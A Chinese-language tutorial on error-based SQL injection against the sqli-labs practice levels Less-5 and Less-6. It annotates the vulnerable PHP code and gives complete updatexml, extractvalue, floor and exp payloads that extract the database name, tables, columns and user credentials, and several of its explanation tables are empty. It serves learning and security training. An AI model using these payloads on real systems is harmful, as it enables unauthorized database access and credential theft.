报错函数注入（无回显位场景）、常见报错信息含义

先区分两种"报错注入"

Less-1/2 按照注入手法可以说是有回显位报错注入，页面能把查询结果显示出来，用 union select 就能拿到数据。

还有一种情况：页面没有回显位，只显示 "You are in..." 或者不显示具体内容，这时候就要用报错函数把数据"挤"在错误信息里返回。

一、源码整体结构

用户输入 id → 拼接到 SQL → 执行查询 → 查到数据？→ 是：只显示 "You are in..."
                                      → 否：显示 MySQL 报错信息

核心特征：查到数据时不显示具体内容，只显示固定文字；查不到时才显示报错。

php
error_reporting(0);

第3行：关闭 PHP 错误报告。这意味着 PHP 自己的报错不会显示，但 MySQL 的报错还会显示（后面看 mysql_error()）。

php
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];

第5-7行：从 URL 获取 id 参数，直接赋值给 $id，没有任何过滤。

php
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第14行：核心漏洞！ 和 Less-1 一样，$id 被单引号包裹，直接拼接进 SQL。

php
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

第15-16行：执行 SQL，获取结果。

php
if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}

第18-23行：查到数据时，只显示 You are in...........，不显示用户名密码！

php
else 
	{
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

第25-31行：查不到数据时，调用 mysql_error() 打印 MySQL 错误信息！ 这就是报错注入的入口：

二、报错函数详解

2.1 updatexml()

MySQL 函数原型：

sql
updatexml(XML_document, XPath_string, new_value)

正常用途：修改 XML 文档中某个节点的值

注入用法：让第二个参数（XPath）包含非法字符（如 ~），触发 XPath 语法错误，错误信息里就会包含我们拼接的数据。

Payload 模板：

sql
?id=1' and updatexml(1, concat(0x7e, (SELECT 要查的数据), 0x7e), 1) --+

拆解：

实际效果：

XPATH syntax error: '~security~'

数据库名 security 就藏在报错信息里返回了。

Less-5 完整流程：

sql
-- 爆库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

-- 爆表名（有长度限制 32 字符，超长的用 substr 分段）
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

-- 如果显示不全，分段取
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),32,31),0x7e),1) --+

-- 爆字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+

-- 爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+

2.2 extractvalue() —— 和 updatexml 几乎一样

函数原型：

sql
extractvalue(XML_document, XPath_string)

原理：同样利用 XPath 语法错误

Payload：

sql
?id=1' and extractvalue(1, concat(0x7e, database(), 0x7e)) --+

XPath 非法字符

效果：和 updatexml 一模一样，只是少一个参数。

2.3 floor()

原理：利用 rand() 随机数 + group by 分组 + count(*) 计数，制造"主键重复"错误。

Payload：

sql
?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

拆解：

为什么报错？ rand() 在 group by 执行过程中会被计算多次，导致同一个键值被插入两次，触发 Duplicate entry 错误。

sql
?id=1' and (select 1 from ( ... ) a) --+

security0
security1
security1
security0
...

sql
select count(*), concat(database(), floor(rand(0)*2)) as x 
from information_schema.tables 
group by x

Duplicate entry 'security1' for key '<group_key>'

sql
and (select count(*) from (...) a)

报错效果：

Duplicate entry 'security1' for key 'group_key'

2.4 exp() —— 数值溢出报错

MySQL > 5.5.53 之后，exp() 报错注入在命令行里还能用，但在 Web 应用/PHP 环境下可能不显示具体值

原理：exp() 计算 e 的 x 次方，当 x 太大时数值溢出报错。

Payload：

sql
?id=1' and exp(~(select * from (select database())a)) --+

拆解：

效果：

DOUBLE value is out of range in 'exp(~((select 'security' from dual)))'

2.5 报错函数对比表

三、常见报错信息含义

四、有回显 vs 无回显：Payload 对比

假设要查数据库名 security：

核心区别：有回显用 union select 直接显示，无回显用报错函数"借尸还魂"把数据藏在错误里。

五、updatexml 长度限制问题

updatexml 和 extractvalue 的返回结果最多 32 个字符，如果数据太长会截断。

解决方案：

sql
-- 方法1：substr 分段取
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),32,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),63,31),0x7e),1) --+

-- 方法2：用 mid() 函数（和 substr 一样）
?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+

-- 方法3：换 floor() 或 exp()（无长度限制）

六、Less-5/6 快速通关模板

sql
-- Step 1: 确认注入点
?id=1' --+           → 页面显示 "You are in..." → 字符型
?id=1" --+           → 页面显示 "You are in..." → 双引号字符型（Less-6）

-- Step 2: 爆库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

-- Step 3: 爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

-- Step 4: 爆字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+

-- Step 5: 爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+

七、记忆口诀

有回显：union select 直接看 无回显：报错函数来帮忙 updatexml：三参数，中间 XPath 放数据 extractvalue：两参数，和上面一样 floor：rand + group by，主键重复报错忙 长度超了怎么办：substr 分段慢慢查